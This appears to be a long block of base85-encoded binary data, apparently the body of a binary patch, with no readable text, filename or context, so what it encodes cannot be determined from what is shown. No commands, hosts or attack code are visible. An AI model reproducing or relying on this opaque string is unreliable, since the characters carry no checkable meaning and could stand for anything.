zT1m~0fwqhA*9uvHCSb$M>^+ed4Ot+vYvMUN)Zul5w>L{qjn;EEUuM{958wbIAAiH9$W6bz?Ce3w*wF{_ueRPrOVe1#MQ@EY&S}75; zmF5oauW#)qK+?gg>+a`+~aiH4UGu?;d`YE*#MQqYA`c=c_xYpq_WQ?)1aGc}!YIr- zGwVh-p5Kpurt;A=0Q5Gi=9yS}*s;FB>!~>Az%$UyuY(VFAn6g&R=)b7$Ow`x*L)|M zztEV=XV|IYHZVa(^&$q>nk8yJFFu-{Ts5)Spr zJ}xW3IiuRDAmLK!r~FgbeEkV~ZwoHA?GH(0r8S1t@N52uIRpyWvfa}R&*!6H8qsX- zQBe)!ZCiLtmMs$R`3$s3JHKUiQ1LQVVleoP{GXd=Z4Dxm=m*Rsp2&`EHPraNLET~O zI}749xg#fO?Z@&LR}E;OIb$N`r2zWh*afuV5)#!ac%iWKE-6dw=K?bw;lNV^H~EGh zvw5`~dNKTi>H20SGf;*p)Tbq)ULlK+b~$4X)rWe^WOSRj1gDFyysMZ~EP3%b9KY&> zE?Y_EGs*0ntB=XtJ9zc9*n&W9id@;pwgfN}bM7n}h;V9LyJwwh;~lPwbi)NyvT&>Y zCVceG4XhTfW3=4Ye(e~$z?i$0#5YrsI9+7ye)gSl%D2S(Qy^j*+W|Lw<_~!PRqE`^(c_3ntJDdLB0bH?bf#FNd_sD`zkVxIy@Q4Vq z4)@3^-{*6S2wHcg38vE^6D6G34Ug5Cc^^PW&Lz=x6-YClLCiEuvoD$$-dUkSuRB=K zF1G(sX{*QXw#K(2$wb%F2%%ciks)9vHva_xCd7~4<0s2=SRT|XsfDDj9l1tB$M{e1 zD^;ok2VT}$cr20-DO!2fMzR<5AZZJocLup>6vK|Dk{`;ieRoaYBIVs|8hOiG$0O(? zQZMRR!e2-SZ&={<{^n=lAAJaz);a@Y#S70^4XWY{gW_`JJZ{S1DF+MRgf0>u*#)Sv zRz=CMSEMb-%gQIjd+lDOZEf4Rw@qF|8_=LNA%IV35K_IdqnSV{e~KF9n?W@vb;Hzw z&EprhtiO>OF z97pL4>Fmoo4pcVWgPC@w5+Jf{mn^g=*b(YZP&B@PRz$cy^iW>q;3lE5c5)WB@&8w{ zd$Okz%I)5R%RIR>ra}&SJoX9A!2gpn));qGY4TBFM}hlW&zF}+yxo*V6f%Vq{6;zP zK|`Ke?zzswpPp%AHiOSnlt{=i6}_U8`yEZhUpJz|NiU%1bg1$06wZy2BcnCr`I1S+t8gmlbpne_AJW>9B>qu>ESq^@{a;;!4 z8BF`80%^KI_w}8S%T}ivG^MjHUe)?X0k%#SD;;YYjf|P$Qyl&C(p_%_XP8bLMx! zYbuksK~J4ws(N2=QOKWkh{NMh6j_6u_OW6SHp9-7WTuBv1FA?J~RT$g*v` zkeaT({`}ic3eiwDYWM(WiVm0JwWcT!M~lu3BBtxyFE{oSzBDWv;z@{^_HhreN~Nic zU$HnTj$=|jmr!{3l8jlmOB!a@y!us5P-+@!aPDx;%B5hO9|t)Qy0Xts?8o znITG4MB?tFe3HRoIiewP(t;v>NV?J{acp4Wo&i%fhJCjscQ}t(=j2g{1g`DWjXXX= zTBssi{>80j2NdXz4%1|vlFn!u}IHR(t-rcpr(l@A4pjqSYEBU{&H~#ll1Fg;p_ej{|i&H^n%>P z`_4weVe>E1gky$8h8Ssd5mW^ z{I_2>mEiM(;Bd2U#K%W&SwZ>OSl61kw4&rT>Z4sS>#OguF5kpI8vu_ zSDf2kPziz(Wg+2ma8&XwAC+%vsqA0mVn4Zn7;jI*Um4z2A&J{#g?c&^KoSv7zYCGb zZhJepq9&G82gG1i_qT}qdlj@w19iSz*ItI$flXjTH?P*^Ih=C^m*=W2JpulW)~W!Q-=&9i77AEMKuVOh@`3@-oOtQBe)b>lm}2Gyu~I>9 zvT8|>0ZaVkQi8o%=zK9)xQ>KyqBJDH&O~G}^Yf}KJ8b&OcVtJz)l^|penV`Le#5K1 z2qN0n)UkNSjtT~BrH?p=M%|S*TeXw1)thof!ZlEQ!M!PP8WH~ZG?=Z|JIA&eB&qWC z4p&j)-XTS>ZU~LkLkR6Xla|g@AaEjj7>>B~tRa+~97aW-XrZ3& z2f&aF`Eav{L%eGrTK1nrT23%{cRWEfGK-Y4O8pgCcs!H^W>XXzlg-)`UmsjogX(Ht zp0;$C$=;R)9ORaNe1)CshOey{BFaAyVG2cVb*?!`#5I*}dH3@2Gs4Luz(%V0mnj;z zC}LQx4C{8({oEvVQJoL3w*}BEU?x$d_5u^QHu~X|f__`)#6dgH$rf)QBd>-(^U`}S zRts-F?N^Q^it#_cRZMqM>yA*ALlgHUda$Qv6Q}qB&rQ}<2U(smoy(?1@#6}+y ziTK5=h)*_ge*cmV*BzMX0uznSbCN#0HW1nwqS(S_4r#%@7o#1r!FbNOuZ^VkYUSoe z>udFF)7=fAoq1$Bt)zDLph+#JP`Tdq^7O;kCo4{p#lFv`zdOz@4(o&0QUtdj?>yuZ zL;1coKOtFinUSzAWfkZhGm^;m#x0#YvAwcT4aUwfhCxY{ zFo*Bv3}Oo z5b1Kh^gD(Le$0?@5e2do6P2-6P|=eN(ZaX@%5yiz+xn~2Y>M;gMv}o^0D<)n8I{Lp z>GXAW@nR2Fu+}3O_J{+c!OmLUx{Gb#r6y+4hO;w1zw+-v+&fMZNl9x$K$B z9ZGKfR3J^6V!O`uVSV=?^>Y*I(5JaAyu^lU6UF8pif4Q_c!yE$o|W7`EXV%-2i$vL zSwsJNP&#m0Xi=mym+bh?@?E;O^Q9(3SuJ&H2YBQ4ObD!kHQnagF4POpqwy80dg{^; z$%a0|#NY*a6IaJ>SU5+W2&=hvFy*CX2k>NLeV(?^ov-}h8RsyujwGsNuKI&$E#}EG zy$)DW>CflN+uje#TA5&iMnX}unUMkQ;#IOQx#r;yoBr{V7F0nVb6A8AS3rBPDh3E@ z_wSfwo>)ONPZ8`4Eb+zOub$sAmO9kNcS>k5?7KzzUUmjh=Iid-YGyNg@Z+S8;e-b} z0h5R)C1w1fovJmzFOY#P+nr<#-CQ``*v)}7t5lFuWFhId{Aw#Ldw5YW2LdL{2DWuA zP*Y)Dv*P~gHNnlnDh-%SHUc=^8kyM%YbZk#I*xZAR$n(Q(uX+;B-}EF(^mi{f`tD=@C?fw zTtnz^j1Qy3Isq(Pzd_a}w=h7@?6XM<^ot%9^f3%dF2bu01xo-vS%P47-3qWhf&=+n zhBTip_Vn^N56b-yRz{d5@;A)SjYKDtDpv__5`v8LkShpHY+265>L|q@ErRa|3p$A4 zKQKM6ajO3r-t076yOIJ65J4S9gY|1ShhJtd-i#%f2ODQ)6YVX@$ar>Ev!5L#UuqKRT{c&sHuwa;}7gZ!#Rp6=uThN5zi&j06GzF*Y)+%pQv=l zG5h+;n(G|qatj>BW*~)mZP1+BDsyu76YYSk70ivk5>vVP;_lIs0lJ2G`u07w^Dx_k zPbPRjUbL;Wy)ORQ9puRJ`6}O-)@1UxOZMQBw}$TQ)Ok4iR@8cP>u<1QwoV8i^<<5| ziB0oe1s_o>^ohSsay-|+$Q@ot8bq~?XdGh=MXu}-!?}-oejcVr00Dyy9nn=ZO#BWN zb{qn^SEB6U@*)Ru*=z0~a0>;A z=w-Mt??2>EKB{l_h3+FRl8vdYw0tcv?JNot(a@{c2?vO;aruSnM zY;bIwBFm}{BEu9+&D(wIyK~o6p>GqW?JZZ^B1;_1Q7m`nqXaEq$YKZtk)XQPp*hT+ z3zfJ0ImPU}aH>^)wfgIxo!1o zbZtul#Hzp=JEtZ#8SmD4z*PKp(rA@uo`MYaZK;?5gW3j%MI-h+;>G(KS}fj`vZot6 z0Ob1joF)OgAO=|tVuZ0~;)w`(F%;D(4&@G$B5Vl4N&ZA63?OG@O9%qEklqE11*qO- zSm`jkQm#b@ZH&COzmmv}CBp53wrOKimezns-0K7NZalloz$k6`0O&)saJzTB6zWXf(ruSU;)&Fa5oc-UFOBb~;t4KAg>W4G>{Ts+z7X4V! zEW6?bOzYVf2Set+?3(+S&e8$M=tPY4W4!vlnU*ZM&h-Z-)1kOlI7qZ@VucG)H7^Kg zr+-DvcEnlSMqezY=L=US{se#5q>KOQ@bbCf?fOJ^{bPK0R7(Py5;6hW{lVsdlp5)w z{v1Dg86}c973{Yr0oB&S-^@llN+al>K&`_-?&soCB;w*iC3;|uc3LZ8<7y`;wlrPR zcrT!}#uP6sdBlK0>-U`d5T1CY>sGhNoD^|`nI0Perb=bF*r7vX5PUOv7!+MFSMPKi{uJD6iWj^m9PZK$;2ZM zG}4eWka{BHJ*P$Ch2;~^|I}QG-~;F%G@HX%uSwXN)LWS92)2n1 zh``Pi9kLd>HqglJ$T2AjU1jftThZj6fD}ljRm}FYGeHnr1dAx&B<^yv^Tq>r0MzUc zwfbpGvP<#w0;>~6=FobNA1`4sgGo8OyHRi|bcnAfF$RPqit+SroyYC zdxNJeQ<~}_dcJ6TOk0=jb%04K){3c%&%;4JvxyK2^9M6-pGJtpfC6Eb3eucs_2@e~ zA5?|0N@jOMAju_Rk%IK5*b6aaaKA1_%kt1r4BBn;)OX#|o9)MP z$~tf}Ll$&Oh|RGId4Cc<{LY;z2Gg{JT^rG&hbopHbiz(|Y zO*x**tvTEuKSXcFWO@D1i8#7TUfve8FYlxa0P6M7tM?+sa_udf70uz}e+-Rre&?Oh&e4JBJ(h8=lTe=afZIbS;)eCWq5!yUI3D0wn|b*Wz9q>80|=r+k5%uTvac%#AHPw46ib}3!GO}*48XB*IF$VhS40< zth}=J*lP?*>H}_wt9P{H89DRRpw~=BZ)mYU@ANp*{ zkuz?#&cNUcr>9HG#%|}^5!_;{{;%sRtLBj*|L~Y8Y3i1sxy3Wh#vp(ZShe&BjwOg^ zVM2$I81b!kq%A1*7QoeXv(%Dk_BYOrpv8o^QUrBWl;W8w;@hbj_{@+Rq zS6Zp-{c0A*vJy%6*;U{xTa&)s?b53UJ-C`rWhWQu-J>YDv)ntU1jB5@YUcyRlNF+N zh`4w#8e9`}SuBx9C4OeAfe-?7tYwF?`o}=^S)h-E4t`~9_dH#nbXj^9a%mi8y!oh` zY(yLqdQZtaAFozcF^P|*oL^pnXTYha&m`AHzA0QrdZ_{o68tX4STDn10MR3jpxedj z^y69s&7YCmKzzg~F2rPSv$-f&75tZZ`o0N;52iPdX5xxEW9JQ9L&s0Cx5_ZjkOY+5 zG37zMxzlVB#w4ZhlDCi1{qGFI<2=Ng*sbQI{DrK zN3&VqqDpoJ&~tyOkBS(v`y>T!=ywuzp`eJXVB?*=vX$1xRN6P^t1#TaX?Lg`ZjfSj z8Menf3Zoblmy%1lSqUcm*7be}=Yi+b^U4O6EQD`wUO0lu<73D=?)1(6%r=J4v<>nC zH7lhXI=f4l35Yr*yeU`B7lnymOBFk|&=jc21x^W^k75%)G6%4MFl2nnuvvK<$^;fL zCw#--7frXBVUs@T`~2UfjT4FDDA!9C(@H4kc8HsA#jcwEVgr%Y(5-4Z8~HCd0R@z8 zfJh(txQ(zsVC^Mhi|cy1QDK>yGqq8c*BJ2|b0xf&=EJvzw|95z;O=;1@2NccQ<~VL zq?BP4!d$7ZgegcMVAwn)i8xLHTt$&B8w8HbO-&XV&X0PTTu6=5(q%EEFraq@jf|s$ ziav%>ur+J+s8Oha=|#;vhjMjWdvL+0p9+MlWCNsPLMq~s9gwnn4kM1cFJJ@C3RD#D zvBLMN?=MT^?s~izqd&5MNkysoimHZcqMO-lWoNu6`0F%y5x9 zo@b*jz_*BvFC~)LPcRajw_)EBRgEuYoUH28{ReE0;;ZiQu`ev_MwS4cl;Dk3uh%JioI*^^ zD~Ie-csP96M(P@**nLrGMg-ikbxP@o`g}7d-XX>=n;7J1@#OoL{a}^Ul(Vg8^P{}W zVcPWpzfJ;g2d1XgH>ka+H8~Pra;U!=eV2+h8mPySQ#t;Jh@&GJL1Bj79je-`B|uSu z13}C;hczlew3zjpc4?(-cx4|?l?#kbR{|-+>sQHVh*wdYj<_@=X@vwBDnUZz0FeJq zh8Q|K16)9K$WfYEmSR;9%TWB9P@NpfZ3q2@e6lLBpZ?(?l8L7uwuMLmu36p;+D>Cq z0fRcT@8xSfqwPsx7?9>@qvN?l82)EEEJR1qioCEmM~aug#jY%bn2BD`jBON@oHBU( z>eZ?SC=zoOftA*Qz}CCC)J*F0q=B>%7Ls{Na`5IIN$LqX@Sw&O zaHT!FNIKmLo4y6rok`oW8!!EPLG#3l2OJOm;GH@)b;vZCR$NTz92<+%ls}c15 zGivUTA5+-&%70B8Quy-Jic@!CSwSfEUv85e?R~^$hwgSUJ)-sVp|ULg0d!xV^;0uZ zfl<~#WulpO<43^@+e<`;H0pY4FIz{ra?G=c8rTZ4PH11f zzCve(jKHJ(C*KK}F~o#!sInZS!m{sSu~WVeL%y6%b6huqwZCHc+0BRTiJceSk$a=7 z*j7_3YunYi_)!nw)6+!>OAAnfHo0kLk@$Wpt}IqM330Bb+s%C4-oOI?6q{vmiw@UH zzQnv|n;`uN_S*AsabyOF>(Ym$$7(;GE(ZtkF9y1{yh+FHEdzwK@!OPte-7n&gB*s{ z@ja5QEv==&H1H)Es#(+7{+#vgV!EeIOUVR#ic~EcLEd*B&^2*)pM^QH<&RtgJqRsj zmy9C*cSkK}L)7-u85|!oeMMaZznS-Jh$TJZm)PA6gcf_PQR>`CJqAh8pBiX@-xOAsoplIEFzfY zX{YrT25@*CH*dwQiz0u`MGQVIz02wG6YUE~-5~8#-FlA}@G-7DSx)|1Q6E{2;(p?nLXq)UEf<0C>5hch=t*QC&Y~QEL%;~$uE2@pZ^Swy- zZHq&%>#6*Ee^6@>y@%ApXcdAqIQIqW4~y}7|I3jVBA?eHv8xPRGE)xD{{V>a^*IrI zQas)|Rn%cfC4|}YAFAo<(tXT!bcmk_!`U3S>=+k6+U2_=`6p&w&k=9`Nq!unY_1Hr zD>v6k@V-KcD|hkoR@m;*vWTWBLti1C*l(CN?DE7s8Mf1BsX(&;u+9;Aj~ai_P0EdP=ULozCEMyT%mHxeLFbuT#8EBJ1N z*ds85HPvk{F;?oC8Ym$=fR)Fr=AU$~O~lVJ@ZaB_a=bHrEk}Ag91k%g3onKmLG zW?Io zKkp0?q56*@7}CpRKhu~_qi}m;yd`}sT262T33;ILv!UcXu{(rWQ){hp8-y@i zm!@?z>a_8+@+=CjRSc@~wA+8L`1jo+?wJvRPVK>xX|+J|LySvUX<=gbI{be$p#!Ys zC1!*X`zZt`j0`{xy~}#knC~P?+CV80sJ+vpPTtG*v`(y}d7QYIIh$aw5DL~ke7^N+ z2I5z5K{%+D|K(-9HPJbjb~`R#RAUM}teqTVvY>>B{`_L9|H zCi0ULw=I-qrRlk@X5>BFOwXBMvalU?a|W*>IVq*MS2Bc$r1u1XP#jC4E;JE0YTc{3 z2izBIRb(S_3%zC3-;#L>uzmOPBFosVz0v+O>0{7Ffdu*0_R6YRmBJXNTeFs}0LXhn z1n^rXndwQ^M%E6RaNUZ3K8_F=MxgQ;c&iS45xrFUAg%$DLb8a(*vWVT6tcv;~Fi)o_b(0bKEMN{&&5f{)Lx=stMbadA_5>vD`|gM3S> z%n6<&!kJzdk{ixrsq`nINbm_K*qnDqj;-^f8zjuv=Hx1SVNb?W z64gGzopiR?OE^XR$Dw_#<>;3IuEAL9`-#&Cz3=Uq+)Jt3Y?PG&yrjBY|r`vV-wM2bu=Yw6;y>`@*fk zF$4}+VX`_nf6^yE2 zTtJNM4sc5KJ$mCw?Gy13^6=;+xX-l!8WPT)yTC^x=7?gVgfH6l&|EInk~#SuN7ftC zJQvi39d41Kz;6$mq8cXiVQ3lPT@gZ2r*f=kH%Mm3cLvi&Ho7lZte>Y3GBRm0Tc~^> zON#{u!5@t-*Nlu)m@@U^@6XRq%Jb*&0J}q;w$EF3HF(SzSO9!DxCyZ|)TnlPfeU7w zGgda2Zrc!P=fM5Y0xrco%E#&nWXF@O--f=&1FJpDFa5^tOiylDE7sSYb5jLnv2l<6 zc#yp@xN@Cxx1>Q($hH^NVUV@HBHF+oGhtcW5$_;Wq))Vq#R=QB0lJMk#At^b8-De| zu#95b)8o-7h_)(ZBRD4*kBi`oz3K^0&d@ut8zCFO?_k?&plewik9CDM&EZ|afy-4B zw;TZtt(hNH-1hm}zpBp(UQ!g0_q@e?f|!lECp+9oH73-)F{OVBgt)FqLRjb$Yp<)1 z)lh+yqzPZR>bNLczK=EW5{W4W!_RD$A=!muH~TqK@U|;bq&(Xr3{e?4vVO`y49myr zT1g*FB)Es?IAz;Ybs=b)DJH|Cv%1fv8F z1ntfn7+ABX+sP^b?R4(qc6+yy4KHgnkT*bebfgv!gM|PK7b%-13>+CfYWtCUuN-Fl zRR={Z*{TQ?i`B1|cV&@#Dyq??Y~b}o#$KB@o4!T^yBC%{vr^MgP>!G22I$PS&8@;E zN4LEBQzfVL2Lyjid<@>;X^_bX)annhl%QrBB`5d-{*G@#Sj22W?bP&ImL`CNQ3N{% z*YpALGQDDisk7bw z0x{CGmh<=&O87S$OT) zz{iu_1m7KVcW6Z%X{cbH<(xSC0%7|?q3XBb>4@z3<{AK){w)S9e(+7k@!LdX5myJ<5WeZ8i|qRB31*oE>0Oj+Jyyh@CVE0=iGqIrwr*1;J41JWSJ9 z&{pEVgx!ICybpw#=r1e*w>;i9rICE#_Gt1gHnFRds(!gNMhTl8R8`%ROa9lh5T}1% z%OYh(U8JU9gEA~qP(6z84o}eja}9YHsBmJB{nA2k!#Mz@rEL+cGJg+Oqb($dHj~gB zrY$iX+ci;|eTvoE(We%FrAsrxkp{6f3r7L`if!xyc^l5-JYXwcAnZSB)HpcNy7^Ug^RlEh(HuGXsQvfXdZrOT~w3z-ba7r zA*-(KTde~wzA~LP1yaEf{M$qSt+Uibc&Ut6m&Fno5fjo~Kee1MKZW0kND~vl(J|$Yy5W6t z{beb2=nw?UdV3s0d5J;IKrmvcE_svVn*NDKic^4;N-`&g|ym#sOE#Kwep#7fbzoOxL_u_Wj_Tu{~tgAIBA3gR)VX zOo?`%?==F1s=iK=*Btb?_fQp8vgF-$So%eX>@`{1q@Z4^?|=PwS+m&9j`(3%DjMpt ze>w`{E()pAb{ba;KGSn$ZBQnQ)-dWawea*N5Ssz#FyyU1QmsXHbv+fTMVD)wL#pEs z>l;$r-d2Gjgjchld~lIpf{#X-SjjKsh@XBxzZkVPfY*=5Du#EZmqS*}N|g6AH?)Fz zH!IbtLG-usdrq^_D>Du0bgM@z(@iiameT+y{V#V~SQjs8IxH=uq>Y%Y{{vFSGy?Sn zTcr#kCENcv{tZ|MXlyvnBy+4&O$TxunmRP;O8P~tl}@cir^s{?Bpmk{Yar}zsyB+e zMUz!}HHl~^-Hsh9Bz<~a4ZqVG0=P&WNjilL7Pn6kaKc$AZJUIK0Q5R-bSdLSS5JV+ zkpn!7|Kt1c2>QXt11i;%n@zG`dOK;v;qp*ZfEVGa*i`l1Xax>%nGzy5Z_QH!K|B?j z`)u`)Rj5Uc@DVSFpD@V54}bU2deOio<%O3+3~Rc{&s}cGjp62UxqyB__m-(TG(Brd zB3<6+lw~{pQ4TDNFc!R;8Do=((YT*Icu0a(s@NKxk?w&>&N7)ScX7!kjIaH@TG?30 zrB?kWCiM4*L%oLUT`61zdMZ||wXxf}JS-VRF1a*Ka8V%Ceedq^W4RrBLYdkI*oG(2 zHtIgstY|u0wRT%3Tkq&W5;{JKk}h5XH&tCbwX(5Ejop@~b*hfI5R<2;&D9fe-_u%5 z&&8D)Q&$7-w{Ab9J-=aZ?~E;P&AcD4MRPG!11%OuXK2&c+~$B2-wwD8g8SI7i+t{8 zm47F|LlLGBG|+Up(Gl_Tn*ZU1^yD82FRcPMx(~-;T60rR22=a7BlHFABtoa5td>sH z6GXb$UhSigK2Gm~;an*<2s1K)T@3DTR!W-!{MGwcT`-Z+PdteVNru3+St)2i^cKM9j^1K5{H~Hmehu0u*B*H6t_mNZ8`e4GcxH2I0pEb^+Rnp9F&8?Z+ z0o7VvI_SY6tX+}m%RC%oazN6m60uYj6fbJ+nsQ1`5#3EuCTs)yd3?CEzQDSGbBG_9 z0z){4O4@By!SjvE;Btmn9M9^zQf&kcD}Q_QWWGGaQV@&ZevU7zSai9$S!#lHh-DH- z)IcZ|jMlOuUmK8 zS6o;r_pgFreSRg#ji84Loi)g6FdYnPnalb~XS1N;JSU6jYajD&P)(d5aw!tee%B8a zM8GA&0}xq}x{6}6wYeVH5qcfwHbm2+^0RnmR6t#gsL zD)GmR|3)0+Z5i}0-4fmsEkR|-*%%$8eoaH;^m)uni`#iJGlQ#29FfILl6($ZrSD)W zxMd;3=_p5G)fix)Txm2p^Z}vXp!$RXo~($|F58bAMT+oYm-X^BO2>x1)i_53BgKi8 z)5<)r0)OwAwwrLQ#I~-*SrdJL*xOKPzx~w2xXy>nX@UI^4$oY_I0L ziM8#w?FFUjTs9QalCmx}QccI?7 z{n?|wn!#9jKgl33ysv%|e!qe#-cJyJRhM6>p=(O7c`m zM}Nc%WovJG8Oxlo;a*uoJow*iAgoXLg`?iPW1_DVGhSug7jsql*B1zz*3S}eW7}$DAK)cyuLFS@upua6Nf|7qAq4< z*3qLx0l)-#mfh$LPix(%$9L(ijZk;uNc%?j$<@>fo#ajBMe#&rj9n9bvQhQE(~#9C zo|l|Cs?t(Z>Laf}C-cJY4_0jqasb-ZbK*&`GiNc=eSvWzLhl52hV26qnKZDvw!3jJ z+|Hwn0A$NlSs@<~i(H=DuB#Sd+&+H2EagX&RRI9sab(pK8~Tr~xUWCM&69^`SlXm) zFrh-&hHhHkMFas+C-{%Rl{%Ir++UDTqz--+hpt;7xq8!xFN?dme8{gS>qMv*Pww<} zFh^k_GIy?E_I_Oy`1IHX7=e5j>}*-JkO1;*e7(uj79FG~X9^UCfn`v?mIxiEk-s?& zb*bRO9?$xDSz$?|6(SSMbW_J1$iy&^9rbC={Wj#T3uJ7&g*?W3MgY$jf*e~N#OdKM z2lnEiM=!6DPW>Nq#O1Im&%Ja3wzdq?(P>lAZ(ywVb#Rt1Til&_`|I9ltCsKvU?G=< zjn)<6O!A~ziIzS>OFMBv+#~*Z8ycvr)t3ttszsC%hor-KT+#osCZ51 zI%F$HufF~-eL$K&&c=Q@H4MBUz?aT^YYn-!f0Q82aov(AjoKwrnA2DwA@036CCHx3 zs=V*Xz&}$|wu%g~?7|`ZhReYJlQe26?C+U3$oZzCE31E|a5WTyC>b_zOka)0>&fOU zs@v!8KD|_4YGHW+;c21xp$~+Xsmi>Mj2CZ4Yr?3Lfz#77WZ@PI-=&g&AK4Zom1n$= zEI7X`B1Jh5#wICWax?ofeCm2(g;Ytxd}ts_p&SPzKt?KtQ&+dF5a4Q0*}K2tnhH(Nt>0oxvjr6SW2R%_3Z$i z3d+PK-(L|fJ{NO|Ot2jC4De~56o`tZNLQ~HkORFe`;%Mw7R-7+N z`+xpEp{r=EBQ7(1!UXmZF0UVXUzk8-<*4IN_BfFcz8Q~!uXHixNP(EW0j>iC+d@-g zUZv`vEW)B0y@0p3cSek!E;o3iHNK|@!KfRPI+2y8G%SE>lgo=r6?*ps>hvuHIE_N;;u}3*?0=T9uC<`|*{^08>!^y3*cP zlH_;kmi5az9#cy(nI+~$@!&}0+#i>1o$&|O`{gm=z?u^0U1>2fsg(Qj1>nO`IKLc; z8Yf5qR0=IMH?xW&z~$xw`~tJ$7C@H*iRm4qzYdZKcEY40qik^#k)&~9^J%ynJW6>10m*7{`$d;|hsIi- zK_o{Xc>x4_(_POjEF7&o&MkZH#i$B{d$#$`TSL3mVS1sBi6FDup_rQFZ|y|!cH)C~ zJUQvf0Y#GL>l1{A?-~-+wlT`koc{1`vF^v88Tj>3G>+XWOqynZ!SfGOric{yISmn- z>(Z{rV!BzDH)Ee|+Nbg5v)2T{wxqrb%Z8&-%AIU=vCP&w*b0;#+1m079jCPyVvoK1 zoGoK&d^Hh|!nsEW!`75h#*h=%rPL!=? zdplq6AydLReh{fv0@L!(eY-d0PhlKXh}=Dp$Ldg4o;DF__Lin=!??Ynll~Nl@vW=z zkR&cGq#b3VW?D5-$b(U^Gb(4{VWT~rK?4zbqCvmRTj0CWWcrOlx-@OB)cWH!sCg*} zVlR2BY!%_q4;MsKQw<1)csoGS@hnT)A5v)cl{=w(h(nQ?OcAilwC?-e=9taZ)q{A7 zhU8DB8J!FN=qv~Mn5Y$-o-Q;;!Ks$;8~`apE*IDEgo!8i$RwyB@>SZd{ylb|FIVR$ z232$~AO5}VKNk^{QReNZh@CaX%(E zpCvjp zfSML2jfa@q$Z%U^s#E>vj-{)I+nQ@2DV7)EgW)G;hN3d0V+>|*G& zafc;9rHylzsH;E!ym_*)WEVH(I>BS2BX!FsE?9AYguCZ4Q~>4m+$Gn^gNB+GA?^A@ z4J#B$4UoW_)+6m~=MGJZaw#(X;E`Ow1S~PB)x$t+Ycj~P=ij!{MT(SQoAfjKPjf1z zs0<*(tGDWFUvjH%7j?``pM-3GIBO}Ile+;wgFqbnI{aAXJmrkq0_0dzsZo65Wq63Y zMz|)k`gvcGr*rZOHH5?VD^-t|ORh%x%EwXZd=OUf#upoift}=ut-alsZHlj+p{%0v z-QxF$pmCvu^V=@0Kch6{N1DU5UBuO|6Pm)#uRsje?ijNSx*j=LiOJX)wTnKNc&N`k z`aHl;sZ9f0H(AF6m-l_|fXd=Zi~?W(#ls)>(mU;&$qjM1D9zbsaGlya(E1}1z4W8i zbk z-5?V0b5w=Z5DjzqyvK`rT9X~*h<|58DFMfXX)pAWE;;SIxeJ;xTYrg6lRr!|{65j-Q(%pT@|oNU6U zI*&5M5j*}+s45fpr2l}LmrS1K4%1M^AYR*k*KgAqoXCm)Kms{mfF|--1c=8*gu0&6 z(uT11hH}9@k=&C?IhTvweh(LE+Qt%jOBy(vj57~f2|zf@wGvTGp}^1q7Nc0ZapU!G z91pxrYIlhZExEmIcu$Xr=?Il8zK~SEY z^QxxLYjRxn;Vg!=_0SrxA^=Z)37-*nsr=Z<(bcqTnygixmgNG=j%A{hdxf($9&)Cd z^w;Wnx}4>gAMJiJ39Zb4iP?ldd2_tWdSTjDe3iJBaOJ@HCHLo`1s}@iV-6lXVn&SA zi+Jd=AV5S$0fJ>6sKKY+pMmXXZsfdY+or8uoqK*p&5dMg{2a zI;yZ?DuT&(brUPcfSV*IYdr{jXjuz`+H5!L`3!b+fMo;?cY)=_FRvw$C(nYxl=#P{ z5|n37c+Vu#m55#j!q}RGeN~%qbJRxu09?T0vcBdR#&Vb6MfxNl&kU+A*-8{o$lxm& z(lPySjU3iw>K|59I4F*kNQrJBnYqMDr!7<){ z|6jOc7lLpV1K83Po00)*LBIYDB)$+ir~Sq?&9e-NtQ|5K6uZ6F->>J)ksXtq^w*Fn z@=255T;o3nC;Cu=t5^DcA=@)UvCQL$rZ-D_I87XXyPuz`Pl1}RRj=q|F+T+!-kLtm_{Cp#r5#<3w~idQ$H~MttD)1s*Q4y@%yU$r`>sG+NK? z`zDi>?{C6X;kd;T&*m5c9hx&bJZ*w;7+9F*`0#P`J*@JOtC4vmC>}_s$EnS4=Ix}4 z4eJ(A>jH_6|A>d4U6EtcnTDt5*Ie;2hxgX>&hyj*KLmaG^(kcxq!MyB8cb6HN-k*Y zVax+Vn+A)$H$E}ghrdm^2sqY}^T`SK)U_8lJUO(pc*YmxZAy&bF(n|}^^(IxL@j@ z$lF#_=BRK$=~G(1rJ3(jn^Iw2ecZWZf;PY0z$v`vz2J|t4}($$ZkI8i2)*zt84H<% zlGxc8V=)IgMzy{F_yXy02(&0HEz@4q(ZWd#;_St{rvQ7N2glrDdu^<lmHyB?lVbi)?1;VP35iI-CQiEjt3USxbiSTAunl=1gM3OT4vE0VM39!Da-`Jp6J z*|gSbg*H5_gduvFbcBOTM}_OZwi%GI)K-#Z)vkI*Y-_7ZjfixQjsRleNDxLYr`5OLq!4^-E38#pSXNm+w_`Je*}a^@2kDtC1*-oGCEiN5pa%}%Iyl` zTGFfG-RqM#y&SZ2JI$6@d0KOqxH@c)N)N#UVO~_ew>z@y%kb`00AvQdY}!h$Ge&>>NV`EKNA&l zD26}YhXJpba_Wt1_w+fa!M^!uq<7Hf#Tt$I#&9?iae??*dno)zn)r$GjL2tddfEO+eI0wCyd5h`1>SF3;T9 z#_q~=k)uCQ3&(KbLKLOtJo&SC&OX=p6h6;L>3BYcQP5#XeaGqwpW`PTH7(p%&1c5v zwu~$s{-Du+re-$5+dPYK`oBGxbUII{DAA`{F!OEhT=xW=0zsylTy!3UTt4(SAeZ>_ z03_%@vR&0kr_vh+Z znx-#&A7O1{OxYHyGpDQWnGX*o1Y-Uz)%1V)FZ5DFX9%2ldRE3JA>y~y_Xk#f@->!( zKk^yF8T;I9knuSIJ;99TGY$-}tgCDTq_{ z9>d&{7!kzCDoJVuzpmuWlBK@!dcSgy;hBw*K`21>#cmRzrM(I*$MrN@6#N$jn!g3Z z_7o{M;O-L?>3EkaPJJpq8u&cKEt4Dww4#GHAm*+iIGI#^CM&^yMP74Nx+V4kY16o1 zxc%=?pH?;mUfbK7OJ({}XAf>)yKn6=XV0553G-|INM;YEtI|T0VZ10mhP$Y4Z^Zpc zw-pEu8KP|F+ZTt^dKyOL&qq3Ap@vIO+&7UG8+!-Gw>#3(&Q?V4^<$PZf_Kz)N_ z^v3f=;FhcgO}GL{jvpBhx*&e&JJdS znhK(Te105rhTIWI`vxTXnsd_#mYC3-EhYo#oaWK=!)25$zRE=6P$8NN<9@(yr?aN+C%*!o?bH5GV>XUlR50u>A(j-J>l zjMIeWvHdP_cRUOAt|GE7qz2?Tgc#WXMw<)=XGDKLh`8Ve{YqQdXK^pTwd%(FLaYTt z!kvS3md`JH7>~%?>vF=sGEW&X^{>fMyoWPm0{L$F_3#2hLe}thL5_5eiy^Z5C3QUT 